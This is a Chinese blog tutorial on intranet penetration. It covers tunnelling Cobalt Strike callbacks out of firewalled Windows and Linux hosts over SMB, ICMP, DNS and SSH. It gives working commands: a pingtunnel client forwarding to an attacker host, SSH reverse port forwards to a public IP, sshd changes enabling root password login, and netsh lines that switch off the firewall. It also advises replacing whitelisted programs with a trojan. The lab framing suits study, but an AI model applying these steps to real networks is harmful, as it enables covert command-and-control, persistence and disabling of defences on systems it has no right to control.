目录
隧道技术
反向连接技术
反向连接实验所用网络拓扑图及说明
网络说明
防火墙限制说明
实验前提说明
实战一:CS反向连接上线 - 拿下Win2008
一. 使用转发代理上线创建监听器
二. 上传后门执行上线
隧道技术 - SMB协议
SMB协议介绍
实战二:SMB协议搭建隧道 正向连接 - 拿下win 2012
一. 生成SMB后门
二. 横向移动
三. 上线CS
隧道技术 - ICMP协议
关于ICMP协议
ICMP隧道搭建
一. 靶机TCP流量转发本地端口并封装进入ICMP协议
二. 取得TCP流量上线CS
隧道技术 - DNS协议
DNS协议
DNS协议搭建隧道网络拓扑图
实战三:DNS协议搭建隧道实验
一. 配置域名NS解析
二 . 配置DNS监听器
三. 木马执行上线
补充:DNS协议通讯
隧道技术 - SSH协议
SSH协议
SSH协议搭建隧道网络拓扑图
实战四:SSH搭建隧道通讯
Linux:入站封 走反向
Linux:出站封 走正向
Linux上线CS解决办法
防火墙
本篇文章将介绍在内网攻防中的隧道技术。
本篇涉及的隧道技术:
ICMP,SMB,DNS,SSH
通过这些协议搭建隧道可以解决流量出网的问题,这样做的好处就是可以把已得到权限的主机上线到MSF/CS上面实现持久化控制。
隧道技术是解决流量不出网的问题,利用可以出网的协议封装出网,它通过在原有的网络协议上封装和封装数据包,使得数据能够在两个网络之间进行传输。
隧道技术是一种网络通信的技术手段,用于在不同的网络之间建立安全、可靠的通信连接。它可以扩展网络、穿越防火墙和NAT、提供加密和安全性,是实现VPN等网络功能的重要组成部分。
隧道穿越防火墙:在面对防火墙限制时,隧道技术可以帮助绕过这些限制,使得内部网络能够与外部网络进行通信。它通过将数据封装在可通过防火墙的通信协议上进行传输,达到穿越限制的效果。
比如,防火墙出站设置严格,仅允许ICMP协议通过,我们可以把TCP协议的数据封装进入ICMP协议来出防火墙,实现流量出网。
隧道技术的两个作用
我们基本不需要关注第二种作用,因为这些在通讯上的应用往往都比较苛刻,主要在网络这一块应用比较多,在内网安全测试中,主要作用是通过隧道移交权限。
所以有必要声明,文中的实验环境的主机均是取得了系统权限
隧道技术对比代理技术:
建立隧道的流程
在我得上一篇代理技术文章中:内网安全:代理技术详解_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客
演示了正向连接技术实验,但是有粉丝朋友私信希望可以演示一下反向连接技术,那肯定是要安排!!!
有必要说明一下为什么不推荐使用反向连接的原因:
考虑到在同等条件下,使用隧道技术来替代反向连接更优秀,原因是使用隧道更加隐蔽也能达到上线的效果,而且这些协议搭建的隧道除了SMB协议基本都是反向连接的。
网段情况:Vmware配置网络
攻击机:47.94.236.117
靶机:
win 7:内网唯一可出网主机 也可对内网192.168.11.* 网段主机进行通讯
192.168.1.119 (外网的出口)192.168.11.128(内网Vmware2)
win 10:内网主机 流量不出网
192.168.11.129(内网Vmware2)192.168.22.130(内网Vmware3)
win 2008:内网主机 流量不出网
192.168.22.131(内网Vmware3)192.168.33.129(内网Vmware4)
win 2012:内网主机 流量不出网
192.168.33.130(内网Vmware4)
在win 2008服务器上开启了防火墙,只允许 80 端口 TCP进行通讯
入站限制严格,不可访问外网
在win 2012服务器上开启防火墙,只允许访问打印机
入站限制严格,不可访问外网
而且MSF/CS的木马走的都是TCP的协议,因为正向连接完全堵死!
在这张网络拓扑图中,我们已经取得win7,win10权限,接下来将主要目标是拿下win2008 win 2012
出站策略宽松,可以选择TCP协议反向连接
在CS上选择和win10的会话
设置监听器,IP-win10:192.168.22.130 PORT:4444
拓扑图
首先,看到win2012入站严格,出站宽松,第一想法肯定是在Win2012上反向连接到win2018上上线CS。但是需要主要到win2008的入站规则严格,从win2012上的流量走向win2008对win2008主机是正向的,是要触发入站规则的。
但是主要到win2012的入站规则里面允许通过访问打印机,可以利用SMB协议建立正向连接来实现win2012流量出网
如何判断?
使用CS直接扫描对方网段的主机的445端口即可,注意在内网要别动静太大
SMB(Server Message Block)协议是一种在计算机网络中共享文件、打印机和其他资源的通信协议。它最初由微软开发,用于在局域网中的计算机之间共享文件和资源,445端口运行
打印机共享:SMB协议支持打印机的共享,允许用户在网络中使用共享打印机进行打印操作。通过SMB协议,用户可以连接到其他计算机上的共享打印机,并发送打印任务进行打印。
文件共享:SMB协议允许计算机之间共享文件和目录。通过SMB协议,用户可以在网络中访问其他计算机上的共享文件夹,并进行文件的读取、写入和管理操作。
查看win2012的网络连接信息 netstat -ano
445端口开放,开启了SMB服务
判断:进行网络扫描看看有没445端口开放
创建监听器
生成后门
选择会话
拓扑图
这是通过横向移动拿下对方主机权限后搭建SMB协议隧道完成上线控制,通过SMB协议搭建的隧道完成对方流量出网,在CS处上线进行持久化控制。
判断:ping 命令走的就是ICMP协议
ICMP协议搭建隧道的实验在前面已经做过,可以参考我得这篇博客:
内网安全:初探隧道技术_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客
ICMP(Internet Control Message Protocol,互联网控制报文协议)是一种用于在IP网络中传递控制消息的协议。它是IP协议的一个补充,用于提供网络诊断、错误报告和网络管理等功能。以下是关于ICMP协议的一些重要特点:
控制消息传递:ICMP协议主要用于在网络中传递控制消息。这些消息可以用于报告错误、提供网络状态信息、请求和响应等。
错误报告:ICMP协议定义了多种错误报告消息,用于通知源主机或路由器发生的错误或问题。例如,目标不可达、超时、重定向等。
Ping和Traceroute:ICMP协议被广泛用于网络诊断工具,如Ping和Traceroute。Ping工具使用ICMP Echo Request和Echo Reply消息来测试主机之间的可达性和延迟。Traceroute工具利用ICMP Time Exceeded消息来跟踪数据包在网络中的路径。
路由选择:ICMP协议还包括用于路由选择的消息,如路由器发现和重定向消息。这些消息用于路由器之间的通信,以便更好地选择和更新网络路径。
报文格式:ICMP消息被封装在IP数据包中进行传输。ICMP报文包括一个固定的报头和一个可变长度的数据字段。报头包含消息类型、代码和校验和等字段。
安全性:ICMP协议的某些消息类型可能会被用于网络攻击,如Ping洪水攻击和ICMP重定向攻击。因此,在网络环境中应采取适当的安全措施,如防火墙配置和流量过滤,以防止滥用和减少风险。
ICMP协议在互联网中扮演着重要的角色,它提供了诊断和管理网络的能力,使得网络管理员能够监测和排除网络问题。同时,ICMP也为网络设备之间的通信提供了一种可靠的机制。
CS端配置两个监听器
监听器1:IP:127.0.0.1 PORT:6666
监听器2:IP:192.168.46.66 PORT:7777
使用监听器1生成后门,上传到靶机并执行
同时被攻击机执行这条指令
pingtunnel.exe -type client -l 127.0.0.1:6666 -s 192.168.46.66 -t 192.168.46.66:7777 -tcp 1 -noprint 1 -nolog 1
靶机会把访问攻击机的TCP流量发到自己本地6666端口并封装进ICMP协议再进行发出
攻击机上运行
./pingtunnel -type server
先对收到的ICMP取出TCP流量,完成靶机上线CS!!!
工具地址:GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP
判断:nslookup www.baidu.com 能返会结果,说明DNS可以出网
DNS属于是应用层协议,但是DNS在不同情况下使用的协议不同
DNS在区域传输时使用TCP,域名解析使用UDP
防火墙上禁用的是TCP,DNS协议搭建隧道利用的是域名解析,所以使用的是UDP
DNS(Domain Name System,域名系统)是互联网上用于将域名(例如www.example.com)转换为对应的IP地址的协议。它充当了互联网的“电话簿”,提供了域名与IP地址之间的映射关系。
以下是关于DNS协议的一些重要特点:
域名解析:DNS协议的主要功能是将用户提供的域名解析为相应的IP地址。当用户在浏览器中输入一个域名时,浏览器会向本地DNS服务器发送DNS查询请求,然后逐级向上查询,直到找到与域名对应的IP地址。
分布式系统:DNS采用分布式的设计,全球范围内存在多个DNS服务器,分为根服务器、顶级域服务器、权威域服务器和本地DNS服务器。这种分布式架构确保了查询的效率和可靠性。
查询类型:DNS支持不同类型的查询,包括最常见的A记录查询(将域名解析为IPv4地址)和AAAA记录查询(将域名解析为IPv6地址)。还有其他类型的记录,如CNAME记录(别名记录)、MX记录(邮件交换记录)等。
域名层次结构:DNS使用了域名层次结构,将域名划分为多个层级,以方便管理和查询。域名从右向左逐级划分,最右边的部分为顶级域(例如.com、.net),左边的部分依次为二级域、三级域,以此类推。
缓存:为了提高查询效率,DNS服务器会对查询结果进行缓存,将解析结果保存一段时间。当再次查询相同的域名时,可以直接返回缓存的结果,而不需要重新查询。
DNSSEC:DNSSEC(DNS Security Extensions)是一种对DNS进行安全增强的扩展协议。它提供了对DNS查询和响应进行数字签名的机制,以防止DNS劫持和欺骗攻击。
DNS协议在互联网中扮演了重要的角色,它使得用户可以使用易记的域名访问网站,而不需要记住复杂的IP地址。同时,DNS也为互联网的安全性和可靠性提供了基础支持。
在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是一返回的可以是任意字符串,包括加密的 C&C指令 (管理僵尸网络进行APT攻击的指令)
需要准备一个域名并配置两条NS解析,NS解析将子域名指定其它DNS解析
当解析ns1.whgojp.top域名就会让DNS解析cs.whgojp.top,最终解析为一个IP
这个IP是我们CS服务器的地址
使用这个监听器生成后门,上传对方服务器并执行
点击进去输入命令,建立DNS联系
上线CS
DNS协议也有在通讯方面的应用,但是个人感觉太鸡肋,因为实现DNS通讯需要权限,都有高权限了直接上线即可,还建立什么通讯。所以这种通讯在内网渗透没有什么价值,在内网穿透可能有些价值。
CS上无法使用这个隧道技术进行上线,想要使得Linux上线需要使用别的工具。
但是SSH隧道在通讯上具有一定的意义
SSH(Secure Shell,安全外壳协议)是一种用于在不安全网络上安全地进行远程登录和数据传输的网络协议。它通过加密通信和身份验证机制,提供了保密性、完整性和身份认证等安全功能。以下是关于SSH协议的一些重要特点:
远程登录:SSH协议最常见的用途是远程登录到远程计算机系统上。通过SSH协议,用户可以在本地计算机上通过终端访问和操作远程计算机,就像直接在远程计算机上操作一样。
加密通信:SSH协议使用加密算法来保护通信的机密性和完整性。它通过对传输的数据进行加密,防止被第三方窃听和篡改。常见的加密算法包括AES、3DES、RC4等。
身份认证:SSH协议支持多种身份认证方式,例如基于密码的身份认证、公钥身份认证和证书身份认证等。公钥身份认证是最常用的方式,它使用公钥和私钥来实现身份验证和加密通信。
端口转发:SSH协议还支持端口转发功能,可以将本地计算机的某个端口映射到远程计算机,从而实现本地和远程计算机之间的安全通信。
文件传输:SSH协议提供了安全的文件传输功能,即SCP(Secure Copy)和SFTP(SSH File Transfer Protocol)。这些功能允许用户在本地计算机和远程计算机之间传输文件,并确保传输过程的安全性。
X11转发:SSH协议支持X11图形界面的远程显示功能,允许用户在远程计算机上运行图形应用程序,并将图形界面显示在本地计算机上。
SSH协议是一种广泛使用的安全协议,适用于远程管理、文件传输、远程终端访问等场景。它提供了强大的安全性和可靠性,使得远程计算机之间的通信变得更加安全和便捷。
已经拿下了Linux主机的权限,借助Linux主机搭建SSH隧道探针Linux所在的内网
Linux开启SSH协议登录:
vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
这个隧道搭建的意义就在于可以实现对内网的探针
将本地访问1.16 8080端口的流量发给47.94.236.117 1234端口上
ssh -CfNg -R 1122:192.168.1.16:8080 [email protected]
这个需要公网服务器的密码,利用条件很低
公网服务器访问本地1234端口
将本地访问1.16 8080端口的流量转发至本地1122端口
ssh -CfNg -L 1122:192.168.1.16:8080 [email protected]
在这台Linux上访问本地1122端口即可
项目地址:GitHub - gloxec/CrossC2: generate CobaltStrike's cross-platform payload
面向Linux Mac IOS Android系统上线支持
插件使用,命令使用
使用参考:https://gloxec.github.io/CrossC2/zh_cn/
根据CS服务系统类型选择插件,我的是Linux,下载Linux即可
上传至你的CS目录下
还有这两个文件,从CS客户端加载,在windows上加载
目前支持反向的HTTPS和正向的TCP
创建监听器
反向上线
在CS上有这个文件
生成后门,在system处可以选择系统
服务端生成后门文件
上线
通过程序进行上线,更方便一些
当我们拿下服务器权限后,防火墙过滤极端严格,隧道不管用,还有办法,选择干掉防火墙。当然风险还是很大的。
可以直接关闭防火墙,删除规则,或者替换
建议尝试替换,动静较小,有的程序把自己放入白名单中,替换程序
可以把木马与程序进行替换
防火墙相关命令:
查看当前防火墙状态:netsh advfirewall show allprofiles
关闭防火墙:netsh advfirewall set allprofiles state off
开启防火墙:netsh advfirewall set allprofiles state on
恢复初始防火墙设置:netsh advfirewall reset
启用桌面防火墙: netsh advfirewall set allprofiles state on
设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
如果设置为拒绝使用blockinbound,blockoutbound